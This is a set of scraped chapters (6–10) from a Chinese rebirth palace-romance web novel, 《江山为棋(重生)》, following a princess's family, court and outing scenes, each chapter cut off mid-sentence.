宁玉瑶自从回长公主府后,精神一日比一日好,身体也逐渐恢复,除了每日都要去闹市边待上一阵,就是安心静养。若有空闲,再陪娴儿胡闹一番。 很快就到了两天后。 清晨,青筱早早地便在长公主府门前候着。 刚到巳时,沈府的马车便停在长公主府门前。 宁玉瑶坐在菊园的凉亭中,远远便看见青筱引着一位身着水绿色百花曳地裙的少女从园外走来。 少女走近前来,恭敬地伏在地上行了个大礼,“小女见过明安郡主。” 宁玉瑶看着眼前许久未见的好友,沈瑜身材纤细,仿若弱柳扶风,精致小巧的脸上一双眼睛盈盈秋水,眼尾微微下垂,一副单纯无害的模样,心知她又闹上了。 宁玉瑶配合着她,淡淡地开口:“免礼。” 沈瑜再次行礼,“谢郡主。” 礼毕她抬起头看向宁玉瑶,四目相对,两人都不禁笑了起来。 宁玉瑶走过去搂着沈瑜,亲昵地捏着沈瑜的脸颊,“一回来就这般胡闹,在兴州一年想必过得还不错。” 说罢,宁玉瑶拉着沈瑜的手,一同坐在铺着软垫的石凳上,青黛将早已准备好地茶水和点心呈上来。 沈瑜抬手用帕子捂嘴,温婉一笑,“族中长辈自然对我多有照顾。” 宁玉瑶嫌弃地伸出手,戳了戳沈瑜的额头,“好好说话,装模作样地给谁看呢。” 沈瑜这才把手放下,轻哼一声:“好歹我爹还是个有点品级的京官,就凭他们还想拿捏我?” 宁玉瑶见沈瑜终于恢复正常,舒坦了不少。家家有本难念的经,她也不好过多追问,只要自己好友没吃亏就好。她拉着沈瑜的手仔细看看,这双手依旧光滑白嫩,只是瞧着比以前更加瘦弱。 宁玉瑶微微皱眉,问道:“在兴州吃食不习惯吗?怎的瘦了这么多。” 一提到吃,沈瑜整张脸都垮了下来,“何止不习惯,兴州的饮食清淡,多是些清粥小菜的,一顿饭下来,肉都不见几块,每样菜一小碟子,他们喂鸟呢?” 说到伤心处,沈瑜的眼里满是委屈,仿佛下一秒就能掉下泪来。 宁玉瑶忍不住心软,连声问道:“那你今儿早膳用过没?” 沈瑜抽抽嗒嗒地说:“早膳也就勉强润了个喉罢。” 宁玉瑶正欲说话,却瞥见沈瑜的贴身侍女在一旁憋笑,回过神来在沈瑜手上拍了一巴掌,“又逗我,说吧,早膳吃的什么?” 沈瑜才不怕宁玉瑶生气,她自如地收起眼中的泪水,笑嘻嘻地说:“真没多少,就吃了一碗肉粥和一屉蟹黄包。” 宁玉瑶脸上略带诧异,“怎么就吃这么点?”这份量看着不少,自己平时还吃不了这么些东西,但对于沈瑜来说,属实不太够。 沈瑜嘴角微微上扬,讥诮地说:“今日我爹和叔叔休沐,让我们一起用膳,说是两家增进增进感情。” 宁玉瑶了然,沈少卿他们兄弟间早年有些龃龉,导致妯娌也几乎反目成仇,小辈间更是到了水火不 6. 噩梦 《江山为棋(重生)》全本免费阅读 送别了沈瑜,宁玉瑶坐在梳妆台边问青黛:“今日午膳的鹿肉哪来的?” 青黛回道:“奴婢问过管事,是今儿早晨秦将军府送来的。” 宁玉瑶想起昨日被关在笼子里送回来的月影,她红唇微抿,吩咐道:“去看看熠哥哥在不在将军府,若是在,让他去后门等我。” “是。” 片刻后,出去传话的侍卫回来禀报,秦都尉此时正在府中。 宁玉瑶听后,立即起身去府中马苑。 “郡主,殿下有令,不得让您靠近月影。”马苑的管事见明安郡主直奔关着月影的笼子,急得恨不得给这祖宗跪下。 “放心,我只是看看它,稍后就会把它送人,娘亲不会责罚你的。” 笼子狭小,月影局促地站在里面。宁玉瑶轻轻抚摸着月影的鬃毛,月影仿佛知道自己曾将小主人摔下马,温顺地低着头任由她抚摸。 前世月影也如这次一般被关在笼子中带回了长公主府,母亲问她想如何处置,当时占据她身体的孤魂轻飘飘一句“任由爹娘发落”,月影便被处死。这次,终于能保住它的性命,也算不错。 宁玉瑶眼中满是不舍,但再不舍也只能将它送给秦熠,如果强行将月影留在长公主府,它这辈子恐怕只能被关在这个笼子里。 宁玉瑶狠下心,从笼边退开,对身边的侍卫说:“打开笼子,牵着月影跟我去后门。” 月影被侍卫牵着,“哒哒”地跟在宁玉瑶身后。 “明安!”没有坐门房准备的椅子,反而坐在门槛上等候多时的秦熠,一见着宁玉瑶就高兴地蹿过来,“早上送来的鹿肉吃了吗?我昨儿出发前特地逮的活鹿,可还鲜嫩?” 宁玉瑶脸上露出一个浅笑:“鹿肉很好,辛苦熠哥哥了。” 秦熠嘿嘿一笑,目光一扫看见宁玉瑶身后的黑色骏马,皱眉道:“明安怎么把月影带出来了?长公主殿下吩咐过,不准我带你骑月影。” 长公主清楚自己女儿的秉性,因此早就叮嘱了秦熠。 宁玉瑶瞪了秦熠一眼,“不骑它,熠哥哥,我若把月影送你,你能好好照顾它吗?” 秦熠看到宁玉瑶眼中的不舍,赶忙说:“当然可以,我家马场管事王叔是军中轻骑军退下来的,爱马也擅长养马,你尽可放心。” 宁玉瑶亲自将月影的缰绳交到秦熠手中,“熠哥哥,月影就交给你了,你可不许把它关进笼子里。” 秦熠知道月影跟了明安郡主三年,是匹性格温和的母马,乖顺又通人性,明安十分喜爱它,若不是这次遭遇无妄之灾,明安也不会舍得将它送人。 秦熠接过缰绳,对她点头:“放心吧明安。” 月影澄澈的大眼睛静静地看着小主人,低头蹭了蹭宁玉瑶的脸颊,然后顺从地跟着秦熠离开了。 “王叔!”秦熠一进将军府就骑上月影直奔马场。 一个干瘦的中年男人闻声从马厩中走出来,“哟,秦熠,你这从哪弄的好马?” 待秦熠跑到近前,看清马鞍上的标志,王叔皱眉:“这是长公主府的月影?你小子偷出来的?” “哪能啊,是明安交给我的,”秦熠翻身下马,拍了拍马脖子,“明安不忍心看它一直被关在笼子里,所以让我们府上好好照顾。” “唉,郡主心善。”王叔知晓,若是其他贵人遭此大难,必会处死这匹畜牲,但马不能人言却被人陷害利用,何其无辜。郡主被摔下马却不迁怒月影,在他们这种爱马成痴的糙汉子眼中,可不就是一等一的和善人。 王叔绕着月影走了一圈,拍了拍它腿肌,再掰开它的嘴仔细看了看牙齿,月影对王叔喷了个响鼻,王叔不以为意反而哈哈大笑:“不愧是郡主的爱马,还不到四岁,是个健康的好姑娘。” “那就交给你了,王叔。” 王叔牵起月影的缰绳,笑得见牙不见眼,“放心吧熠小子,这么好的小姑娘,我肯定不会亏待它。” * 祁婧惠进门便看见宁玉瑶闷闷不乐地坐在窗边,她回府时已从管事处得知女儿今日将月影送给了秦熠。 “见过殿下。” 宁玉瑶被侍女们请安的声音惊醒,站起身来叫了一声:“娘。” “舍不得月影?”祁婧惠坐在女儿身边,拉过她的手,“爹娘也是担心有人再用月影来害你。” “我知道的,娘。”宁玉瑶瘪了瘪嘴,小声应下。 祁婧惠并不担心,女儿天性豁达,不用多久就能自己开解。她转头从侍女手中接过一块羊脂白玉佛牌放到宁玉瑶面前:“看,今日娘亲和爹爹去护国寺寻方丈替你求的玉佛牌,喜欢吗?” 这些日子女儿身边风波不断,她便与丈夫商量着去护国寺求了这块保平安的玉佛牌。 却不料宁玉瑶看到玉佛牌的下一瞬,泪珠滚滚掉落,唬得祁婧惠差点将玉佛牌扔地上,“怎么了瑶儿,可是佛牌有不妥?你若不喜欢,就不要它。” 宁玉瑶连忙拿过母亲手中的玉佛牌,眼中含泪笑着说:“喜欢的,只要是娘亲送女儿的,女儿都喜欢。” 祁婧惠搂住女儿,“母亲只想让你开心,若你真的不喜欢,娘亲也不会怪你。” 宁玉瑶哽咽着说:“娘,女儿真的很喜欢,只是女儿觉得自己太不懂事,还要劳累爹爹娘亲百忙之中特地去求这块玉佛牌。” 在护国寺寻方丈求玉佛牌可不是一件容易的事,这些白玉佛牌都是在佛前供奉许久之物,若想求得玉佛牌,需得提前沐浴斋戒三日,然后在清晨日出之前抵达护国寺,再在佛前虔诚跪拜三个时辰,如此诚心才能求得。 祁婧惠察觉到自己的衣襟被女儿的眼泪浸湿,拍着女儿的背轻哄:“你是我们最宠爱的女儿,为人父母,自然想把世间所有的好东西都摆在你面前。乖瑶儿,爹娘所做的一切,只要你开心,我们就觉得值得。” “嗯。”宁玉瑶闷闷地回应。 “好了,不哭了,再哭脸皴了就不好看了。”祁婧惠逗着宁玉瑶,拿过青黛准备的热手巾轻轻擦掉女儿脸上的泪水。 待整理好自己的仪容,宁玉瑶示意房内的侍女们都退下,祁婧惠身侧的侍女看向长公主殿下,祁婧惠猜测女儿有事想说,点头应允。侍女们福身一齐退出宁玉瑶的闺房,将房门关上。 祁婧惠笑问:“什么事还需要遣退丫鬟们才和娘亲说?” 宁玉瑶轻轻抿唇,犹豫了一会儿,说道:“娘,这几日我做了一个很可怕的噩梦。” “ 7. 宠溺 《江山为棋(重生)》全本免费阅读 诚国公府书房内。 宁渊端坐在书案前,安静地聆听妻子讲述女儿的噩梦,他并未因为这只是一个梦而轻视。 当听到自己莫名身死时,宁渊并无太大反应,但听到北穆屠城,林鸿轩射杀了自己的女儿后,即便明白这只是一个梦,还是他忍不住怒火中烧,“竖子尔敢!” 祁婧惠轻叹,想起瑶儿说梦中雁京被屠城,难怪瑶儿回来之后,每日都要去闹市之中小坐。 待宁渊的情绪稍稍平复,祁婧惠才轻声问道:“你对此事有何看法?” 宁渊沉吟道:“不论瑶儿为何会做这样的梦,为了让瑶儿安心,我们都需加防范。” 宁渊并不认为因为女儿的一个梦就冤枉了林鸿轩,他只觉得是林鸿轩妨克了自己的女儿,害她做了噩梦,让她如此伤神。 况且…… 祁婧惠了然,“林鸿轩此人确实可疑。” 宁渊想起这几日对林鸿轩的调查,不由冷笑,“林鸿轩可并非表面上那般谦谦有礼。” 林鸿轩此人,长相俊美且才华横溢,性格温和,待人接物都恰到好处,脸上永远带着让人如沐春风的微笑,从没有人见他生气,无论别人如何刁难,他都能应对自如,当真算得上是谦谦君子,温润如玉。 然而,从盯梢之人传回的消息来看,林鸿轩并非如外界所见那般好相与。 “加派人手继续盯着他吧。” “嗯,”宁渊从书案中取出宵禁通行令牌,“自秦将军大胜北穆这一年多以来,北穆一直表现得顺从本分,朝中甚至有人以为北穆被秦柏秦熠父子打怕了。” “呵,”祁婧惠嗤笑一声,“恐怕未必,吃惯了生肉的狼群,怎么可能突然改吃素?” 宁渊收好令牌,温声对妻子说:“惠娘,你早些休息,今晚我不回来了,不论瑶儿的梦境是真是假,北穆都需早日防范。” 之前朝中诸多大臣认为北穆已不足为惧,反对秦将军继续投入军需严防北穆,现在,为了让瑶儿安心,也为了大宸百姓的安危,他必须动用一切力量促成此事。 祁婧惠点头,取下大氅亲手替丈夫披上:“夜间寒凉,你也要注意身体。” 宁渊握了握妻子的手,转身带着侍卫离开诚国公府。 宁玉瑶躺在床上,静静地看着手中的羊脂白玉佛牌,她的手指轻轻拂过佛牌正面佛祖雕像那抹红点——那是玉胚自然产生的玉石纹路,经能工巧匠之手,红点恰好位于佛祖的额头,使得这尊佛牌更显庄严,仿若自带佛光。 宁玉瑶目光幽深,不论这个红点的位置和大小,还是佛牌背面雕刻的《金刚经》偈文选段,都与前世娘亲让“她”戴上的那块玉佛牌一模一样。 或许娘亲那时也察觉到了自己的异样,因此才特意为她求来了这块玉佛牌,只可惜求神拜佛终究也没有任何改变。 不过,这也是爹娘对她的珍视。宁玉瑶将佛牌上的红绳扣解开,贴身戴在脖子上。 原本宁玉瑶并不打算将前世之事告诉母亲,但这块玉佛牌的出现,或许说明了爹爹娘亲虽不信鬼神,但对鬼神之事仍存敬畏之心。 因此,她挑拣了一部分事情告诉娘亲,并不求娘亲全信,只要爹爹娘亲能够对林鸿轩和北穆稍加防范即可。 * 宁渊在秦将军府与秦柏、秦熠父子恳谈至深夜。 秦柏对北穆形势的熟知程度,宁渊早已知晓,毕竟知己知彼方能百战百胜,秦柏身为让北穆将士闻风丧胆的大将军,自然对北穆有着深入骨髓的了解。 真正让宁渊刮目相看的是秦熠,当谈及北穆时,秦熠眼中闪烁着光芒,犹如一头充满野心的狼崽子,与他平日那副傻小子的模样简直判若两人。 宁渊走出秦将军府,想起方才秦熠对北穆的独到见解,满是欣赏。果然英雄出少年,才能在短短三年时间内,凭借战功从九品副尉升到正五品都尉。虽然有些想法现在尚显稚嫩,但已初见锋芒。 冷风吹过,宁渊忍不住咳嗽了几声,身边的侍卫连忙上前劝道:“国公爷,夜深了,您还是早些回去歇息吧。” “无妨,老毛病了,”宁渊抬手打断侍卫劝说的话,登上马车,“走吧,去李将军府。” 在大宸朝,驸马大多只享有虚衔,鲜有实权在握。只有宁渊却是个例外。他尚公主之时,还只是一个小小侯爷,在羽林军中挂职。 十五年前,先帝驾崩,六皇子矫诏意图谋反,宁渊拼死护卫当时还是太子的承武帝,最终诛灭叛军,他也因此一跃成为羽林军的统领,肩负护卫皇城安危的重任。 也因当初宫变时受伤过重,宁渊落下了咳嗽的毛病,身体也日渐衰弱。宁渊靠在马车车壁上闭目养神,不论如何,他也要先将儿女们未来的路铺好,给他们一个安稳和平的盛世。 接下来的时日,宁渊鲜少待在府中,宁玉瑶好几次寻爹爹都找不到人,只得去问娘亲。 祁婧惠不想让女儿过早地卷入这些纷争之中,笑着糊弄她:“你爹最近公务繁忙,瑶儿若有事,娘替你转达便是。” “也不是什么重要的事,”宁玉瑶不好意思地笑了笑,抱着娘亲的胳膊撒娇,“娘亲,我想去护国寺看红枫。” 祁婧惠失笑,“还以为是什么大事,想去便去吧,多带些护卫即可,娘何时拘着你过。” 宁玉瑶小声嘀咕:“女儿怕您不同意嘛。” “那是因为你之前身子不好,娘亲才不让你乱跑,”祁婧惠轻戳女儿的额头,“如今太医说你康健了,娘亲自然不会拦着你。你打算何时去?” “过几日吧,明日先去宫中给陛下和皇后娘娘请安。” “去吧,娘娘也很挂念你。”祁婧惠笑着说。 次日清晨。 宁玉瑶特地早早起来,穿上了皇后娘娘前阵子赏赐的银红云锦宫装,眉间点缀着一抹金粉绘就的莲花状花钿,衬得她端庄又俏丽。 宁玉瑶出门时,天空也逐渐放亮。她兴致勃勃地看着马车外这条熟悉的道路,两侧伫立着王公大臣们的府邸,偶有家眷或下人们出门,见到长公主府的马车立即停下脚步,恭敬地行礼避让。 宁玉瑶嘴角含笑,雁京城就应该一直这样祥和无忧。 马车经过六部,便抵达了皇城门口。 青筱扶着宁玉瑶走下马车。守门的禁军侍卫见到宁玉瑶和她腰上挂着的令牌,这块令牌是皇后特赐明安郡主,准许郡主无需通报便可随时进宫。 侍卫们立即行礼放行。 “郡主,是否需要给您准备肩舆?”侍卫主动询问。 宁玉瑶轻轻摆手,“不用,时辰尚早,我步行至德清宫即可。” “是,郡主。”侍卫闻言,立即退到一边。 皇城中随处可见雕梁画栋的巍峨宫殿,四周皆是红墙绿瓦,清晨的阳光洒在琉璃瓦上,折射出五彩斑斓的光圈,宁玉瑶走在长长的宫道上,脚下的青砖路纤尘不染。 宁玉瑶满心怀念地看着四周的景色,这座庄严肃穆的皇城却是她幼时玩耍的地方。 待宁玉瑶缓缓走到德清宫,皇后早已得知宁玉瑶进宫的消息,特意谴了身边的大宫女白珊在门外侯着。 “ 8. 嫉恨 《江山为棋(重生)》全本免费阅读 身穿明黄色龙袍的承武帝大步踏进德清宫。 宫内众人齐齐跪下行礼:“参见陛下。” 承武帝坐到皇后身边,抬手示意:“平身。” 随后转头看向宁玉瑶,面带笑意地说:“朕听说明安入宫了,特地过来看看。瑶儿,过来让舅舅瞧瞧,身体恢复得怎么样了。” 宁玉瑶走到承武帝跟前,俏皮地转了个圈,“有舅舅、舅母关爱,瑶儿的身体已大好,今日特地来给您和舅母请安。” 承武帝对宁玉瑶的偏宠人尽皆知,大宸朝皇亲国戚众多,但唯有宁玉瑶可以无拘无束地称呼他们“舅舅”、“舅母”,关系之亲密,溢于言表。 承武帝和皇后笑眯眯地看着面前活泼俏丽的少女,对她话语中的亲近很是受用。 承武帝看了眼身边的苏德茂,苏德茂垂首,快步离开德清宫,片刻后,他带着两名英姿飒爽的女子进来了。这两名女子穿着黑色劲装,身材高挑,一看便知她们训练有素。 承武帝指着这两人对宁玉瑶说:“朕知道你爱热闹,长公主府关不住你,特意亲自挑了两个女护卫,以后就由她们在你身边帖身保护。” 皇后满意地点头,对宁玉瑶说:“如此甚好,瑶儿,你可要听话,去哪都得带着她们。” 宁玉瑶笑着应下:“舅母放心,瑶儿记下了,多谢舅舅赏赐。” 接着,她好奇地转头看向两名站立着的女护卫,问道:“你们可有名字?” 护卫们闻言,立刻单膝跪地,齐声恭敬地回答:“请郡主赐名。” 宁玉瑶思索片刻,说:“那就叫丹素、丹诺吧。” 承武帝的两位公主过来给皇后请安时,正巧看见明安郡主在皇帝皇后跟前撒娇,大公主祁夕澜心中羡慕不已,父皇和母后从未用如此宠溺的眼神看过自己。 不过一瞬,祁夕澜便敛去了眼中的羡慕。相较于前朝后宫的混乱,如今在母后的治理下,宫中风气严厉清明,严禁任何人苛待皇子皇女。自己能够留在母妃身边,衣食无忧地长大,已是极为难得之事。若是再过分奢求,无异于自寻烦恼,甚至可能招来祸端。 二公主祁夕滢的注意却被宁玉瑶身上的银红云锦宫装吸引了过去。 前段时日,织造局新上贡了一批料子,皇后召两位公主一同挑选。其中有一匹银红云锦,色彩鲜艳,纹样秀丽,祁夕滢一见就十分喜爱。 但不待她开口讨要,皇后就抚摸着选样册子上的布料笑着说:“今年新贡的这匹云锦不错,正适合明安郡主。” 织造局总管太监躬身附和道:“娘娘的眼光必然是一等一的好,这匹银红云锦可耗费了不少功夫,用了不少好材料才得了这一匹。” “如此难得,那正配得上我们明安,”皇后笑意盈盈地吩咐,“待会儿将料子送到尚衣局,让他们替明安郡主做一套衣裙,记得要最时新的款式,小姑娘的衣裙可不能老气横秋的。” “娘娘放心,给明安郡主的必定是最好的。” 祁夕滢轻咬下唇,目光紧盯着那抹银红色的身影,眼中不自觉染上了她自己都没有察觉的嫉恨。她不明白为何每次有好东西,母后总会先想到宁玉瑶。 宁玉瑶自然没有错过祁夕滢眼中的嫉妒,她也有些不解,为何祁夕滢总觉得是自己抢走了她的东西。 雷霆雨露皆是君恩,陛下和娘娘想要赏赐谁,岂能由他人置喙? 宁玉瑶扭过头去,不再看她。 大公主祁夕澜瞥见祁夕滢的表情,轻轻拽了拽她的衣角,祁夕滢回过神来,急忙收敛了自己的情绪。 皇后看见两位公主,对她们招手道:“夕澜和夕滢来了,快过来。” 二人走上前,恭敬地行礼,“见过父皇,见过母后。” “免礼,”承武帝指指宁玉瑶身边的位置,笑着说,“坐吧。” 祁夕滢坐下后,示意她身后的宫女将手中的食盒打开,她端出一碟浅绿色的糕点,笑着说:“父皇母后,儿臣听闻父皇母后近日食欲不振,特地寻太医要来方子做了糕点,希望合父皇母后胃口。” 白珊接过糕点呈至帝后面前,承武帝和皇后看着面前精致的糕点,赞许道:“夕滢有心了。” 宁玉瑶坐在一旁鼻尖微动,感觉鼻子有点痒,正要道一句失礼时,门外突然传来一阵欢快的脚步声。皇后放下手中刚拿起的糕点,笑着对承武帝说:“淘气的来了。” 众人转头向外望去,不到一会儿,一个才到身边宫人大腿处的敦实小孩冲了进来,宫人们紧跟在他身后,轻声喊着:“殿下小心,慢着点。” 这个孩子便是皇后所出的嫡次子,刚满四岁的五皇子祈晖琅。 五皇子看见坐在主位的承武帝,显然没想到今日父皇也在,急忙停下脚步想要行礼,却不小心左脚绊右脚直接摔倒在承武帝面前,行了个五体投地的大礼。 承武帝眼见儿子小嘴一瘪就要哭,赶紧说:“小五快起来吧,这不年不节的,父皇不用你行如此大的礼。” 被父皇这么一打岔,五皇子瞬间忘了自己为什么要哭,没让宫人扶就自己从地上爬起来,乖巧地说:“给父皇母后请安。” 皇后扶额,这孩子,真是傻得没眼看。 五皇子看见坐在旁边的三个姐姐,眼睛一亮,含糊地叫了一句“大姐二姐。”然后径直冲进宁玉瑶怀里,“阿姐阿姐,你都好久没回来了。” 宁玉瑶从小就常在宫中小住,皇后特地将德清宫的配殿赏给宁玉瑶作为她在宫中的住所,在五皇子心里,德清宫就是阿姐的家。 宁玉瑶被五皇子撞得险些灵魂出窍,她使劲揉了揉五皇子的小脑袋,直到把他本就松散的发髻揉得彻底散乱才罢手。 宁玉瑶示意宫女将顶着一头蓬松乱发的五皇子抱到身侧的椅子上坐下,哄他,“坐着把头梳好,待会儿我带你去玩。” 挣扎着要爬下椅子的的祁晖琅闻言,马上乖乖坐好。 帝后二人笑着看他们胡闹,正准备继续品尝二公主做的糕点时,五皇子也看见了糕点。 他现在正是“娘亲手里的东西最好吃”的年纪,不顾宫女还在替他梳头,立马翻身爬下椅子,凑到皇后身边,“母后, 9. 出游 《江山为棋(重生)》全本免费阅读 百兽园的总管太监满头大汗地跑出来,奔到宁玉瑶和五皇子面前跪地行礼:“奴才见过明安郡主,见过五皇子殿下。” “起来吧,”宁玉瑶牵着祁晖琅的手径直往园子里面走,“我记得之前蜀州送来几只白熊,我还没见过呢,它们安置在哪了?” 总管太监连忙从地上爬起来,弯腰引着宁玉瑶往竹林方向去,边走边小心翼翼地说:“这几只白熊外表憨态可掬,主食虽是竹子,但它们也食肉,且牙尖爪利,掌力惊人,郡主和五皇子殿下还是远观为好。” “毕竟是蚩尤的坐骑,凶悍一些也理所应当,放心吧,我不会凑近的。”宁玉瑶说得漫不经心,总管太监尴尬地打了声哈哈。 很快便到了竹林边缘,远远地就能看见一只白熊靠坐在竹子下面吃着竹叶,这只白熊的躯干大部分是白色,四肢纯黑,白胖的圆脸上一对黑色的耳朵和黑色的眼圈格外显眼。 第一次见到白熊的祁晖琅惊呼:“阿姐!那只熊的颜色真有趣。” 宁玉瑶饶有兴趣地看白熊吃竹子:“嗯,有点意思,真看不出来它有那般凶悍的战斗力。” 总管太监生怕郡主小瞧了这白熊,非要上去摸它一下,旁边负责管理竹林的小太监上前低语几句,总管太监连忙说:“郡主,这些白熊前几个月生下了几只幼崽,您若想近观,可前去观看这些幼崽。” “带路吧。” 等太子祁晖珏听到喧闹声来到百兽园,便看见阿姐抱着一只白熊幼崽坐在草地上,嘴角含笑地看着正在和一只泥巴熊打架的亲弟弟。 昨夜的雨水在竹林中的原本松软的土地上,形成了一个个小水洼,弟弟打架的地方正是在水洼聚积的泥坑里。 周围的侍卫宫人们大汗淋漓地紧盯着泥地上的五皇子,无人敢上前劝阻。 太子叹息,一看就知道定是阿姐又在逗弄弟弟了。 “参见太子殿下。” 宁玉瑶听见宫人们的请安声,回头招呼太子:“阿珏,过来坐。” “阿姐。”太子走到宁玉瑶身边,看着满是尘土的草地,再看了看笑容满面的阿姐,一咬牙,坐了下来。 宁玉瑶被太子的反应逗得笑出声,太子无奈,只得又喊了一声:“阿姐!” 太子看着眼前的阿姐,自小他便习惯呼表姐为阿姐,父皇母后从未纠正过他,即便后来他知道,在大宸只有最亲的姐姐才能被称呼为阿姐,他也没想过要改口,小五便也跟着他一起叫着阿姐。 “好了不笑你了,看看小五。”宁玉瑶抬抬下巴示意太子看下面。 五皇子与泥巴熊的战斗已经到了尾声,祁晖琅整个人趴在与自己差不多大的泥巴熊身上,泥巴熊被他压得嗯嗯直叫。 太子这才发现这是一只浑身裹满了泥巴的幼年期白熊,难怪阿姐敢让弟弟和熊打架。 祁晖琅见自己降服了白熊,兴奋地爬起来对宁玉瑶欢呼:“阿姐,我赢了!” “对,小五真是英勇无比。”宁玉瑶捧场道。 祁晖琅这才看见坐在宁玉瑶身边的太子哥哥,顿时更兴奋了,“哥哥你看见了吗!小五赢了!” “看到了,小五很厉害。”太子无奈地说,弟弟可爱的时候很可爱,但淘气的时候也真是很让人头疼。 祁晖琅听到夸奖,挺了挺自己的小胸脯,雄赳赳气昂昂地继续去寻下一只白熊打架。 宁玉瑶看着身边难得面带笑容的太子表弟,想起前世太子灵堂中,太子太傅扶着棺木哀怮地低语,一句“过慧易夭”使许多臣子深深惋惜。 此刻未满十岁的太子,已沉稳得不像一个孩子,不过…… 宁玉瑶不怀好意地笑了笑,放下怀里的小白熊,拉着太子冲向被两只白熊幼崽压趴在泥坑中的五皇子,“快去帮小五。” 承武帝再次踏入德清宫时,公主们已经离开,正殿中央站着三个浑身上下都是泥巴,看不出原样的泥人,皇后坐在正位上撑着额头,看也不看他们一眼。 最小的那个泥娃娃不顾宫女的阻拦,一直想往皇后身上扑,嘴里不停喊着:“母后、母后。” 承武帝面无表情地想:哦,原来这是朕的儿子。最高的那个梳着女子发髻的应该就是瑶儿了,至于另一个,暂时没看出来是谁。 直到他们转身给承武帝请安时,承武帝才发现另一个泥人居然是一贯端方持重的太子,承武帝险些没维持住自己的表情。 他看着只露出一双大眼睛的明安,再看看眼中满是忐忑的太子。 承武帝面色稍缓,想要拍拍儿子的肩膀,但手悬在太子肩头上方半晌,实在找不出一个可以落下的地方,他只得挥挥手,“快下去把衣服给换了,别碍了你们母后的眼。” “是,父皇。”太子见父皇没有生气,一把捞起身边不老实、眼见扑不到母后就想蹭父皇的弟弟,跟着宁玉瑶快步走出正殿。 “好了,”承武帝坐到皇后身边,安慰道,“别生气,孩子虽然脏了些,但洗洗还能要。” 皇后被皇帝逗笑,叹了口气,“瑶儿和琅儿便罢了,这两个本就是淘气的,怎么今天太子也跟他们一起闹起来了。” 承武帝却心情舒畅,原本承武帝一直担心太子过于早慧反而对身体无益,现下却在他眼中看到了许久不见的、独属于少年人的羞赧和活泼。 他轻拍皇后的手,“别给珏儿那么重的压力,他才十岁,不必急着长大,放心罢,我们都还年轻,还可以护他们很久。” * 大病初愈的宁玉瑶在宫中与五皇子嬉闹了一天,精神又有些萎靡,出宫之后在家中休养了几日,才彻底恢复。 清晨,宁玉瑶刚起身,便见窗外晴空万里,是个出游的好天气,于是问身边的青黛:“母亲今日可在府中?” 青黛伺候宁玉瑶穿戴整齐,回答道:“殿下已经出府,去赴茶会了。” 宁玉瑶点头,吩咐青筱:“准备马车,去护国寺。” “是,郡主。”青筱应道。 用完早膳,宁玉瑶就带着侍女和护卫们向长公主府侧门走去,她惯用的马车已经在侧门的巷道中候着。 宁玉瑶正准备登上马车,巷道另一侧围墙后,秦将军府中传来一声怒吼:“兔崽子你给老子站住!” 伴随着怒吼声,一道人影从秦将军府翻墙而出,正好落在宁玉瑶面前,长公主府的侍卫们一惊,纷纷拔刀朝着这个人影砍去。 “诶诶诶!是我是我!各位好汉刀下留人!”秦熠伸手挡住最前面的一把刀,连声喊道。 侍卫们看清来人,立刻收起刀,抱拳告罪,“秦都尉,多有得罪。” “不怪你们。”秦 10. 签文 《江山为棋(重生)》全本免费阅读 护国寺坐落于雁京城西侧,每年秋季,山上游客络绎不绝,人们纷纷慕名而来,只为欣赏那漫山遍野的绚丽秋枫。 十月下旬已迈入初冬,虽然已不是赏枫的最佳时期,但宁玉瑶归来之后只想好好欣赏大宸的大好河山,对时节的错过并不在意。 护国寺的后山崎岖,马车无法通行,只能步行上山。 宁玉瑶走下马车,驻足眺望初冬的山峦,枫叶虽不如深秋时节那般火红绚烂,但依旧值得一观。 今日后山行人寥寥,宁玉瑶便一路游玩而上,每当遇见颜色别致的落叶,都会停下脚步,精心挑选一片收藏起来。 在元宝枫下,她挑挑拣拣,却始终未能选出满意的叶子。此时,秦熠拿着一片形状奇特的落叶凑到她面前,“明安,你看这叶子,像不像鸡爪?” 宁玉瑶瞥了一眼,确实很像,她蹲在树下,下巴撑在膝盖上侧头看着秦熠,怎么熠哥哥总喜欢这些奇奇怪怪的东西。 秦熠见宁玉瑶看着自己却不说话,疑惑地问:“明安,怎么了?” 宁玉瑶抬起头,指着树上的一片叶子说:“熠哥哥,我要那片叶子。” 身边的护卫上前一步,“郡主,不如让奴才去摘吧。” 宁玉瑶不理侍卫,只看着秦熠。 秦熠眼中满是笑意,扔下手中的树叶,“我去摘。” 他将衣服下摆塞进腰带中,灵活地爬到了宁玉瑶所指的位置,摘下一片色泽鲜亮、没有破损的树叶,俯身递给站在树下的宁玉瑶。 方才开口说话的侍卫被同僚拉到一旁,同僚对他挤眉弄眼,就你话多。 宁玉瑶接过树叶仔细看了看,满意地抬头对坐在树桠上没下来的秦熠说:“熠哥哥,那边那片也摘下来看看。” 秦熠站起身利落地跳到宁玉瑶指的地方,任劳任怨地为宁玉瑶摘她想要的树叶。 在护卫们的严密保护下,宁玉瑶缓缓登上山阶,行至半山腰时,一群书生模样的人在前方的观景亭中品茶吟诗。 秦熠目力过人,一眼就认出里面的人,其中一个年轻书生让他不由眯起眼睛。 “熠哥哥,那些是什么人?”宁玉瑶察觉到秦熠的目光,直接问道。 “承武十四年的新科进士,翰林院的大人们。” 宁玉瑶垂眸,若只是其他大人,熠哥哥不会如此反应,近日与他结下梁子的只有林鸿轩,虽然也可能只是因为自己的缘故导致熠哥哥看他不顺眼。 不过这不重要。 后山通往护国寺的路只有这一条,无法绕行。不过,宁玉瑶冷哼,本郡主为何要避让,应该是他滚得远远的。 观景亭中的新晋翰林院官员们也注意到山下来人,他们对视一眼,侍卫环绕,必为贵人。 一个下巴上长着一撮小胡子的中年男子开口:“人群中有女眷,不知是哪位家夫人小姐要去护国寺,我们可要回避?” 另一位短须瘦弱男子犹豫道:“可是……上山仅有这一条路,我们恐怕无处可避。” 其余人沉默不语。 林鸿轩拿起碳炉上的小陶壶,为众人斟上茶水,温声道:“诸位大人不用担心,护国寺在此屹立数百年,王公走卒皆可入寺,贵人们不会与我们计较,我们只需待在此处,莫随意走动即可。”他的声音如清风拂过耳边,吹散了众人心中的焦虑。 众人闻言,微笑点头,“林侍读所言极是。” 宁玉瑶一行人经过观景亭时,亭中的官员们纷纷低头,避讳着女眷的目光。 宁玉瑶瞥了一眼观景亭,林鸿轩坐在人群的边缘,似乎察觉到有人在看他,他抬起头,看见宁玉瑶时微微一愣,随即露出一抹微笑。他相貌俊美,皮肤白皙如玉,一身书卷气尽显温润儒雅,身着月白色暗纹锦袍,身形修长,在这漫山红叶的衬托下,如画般美好。 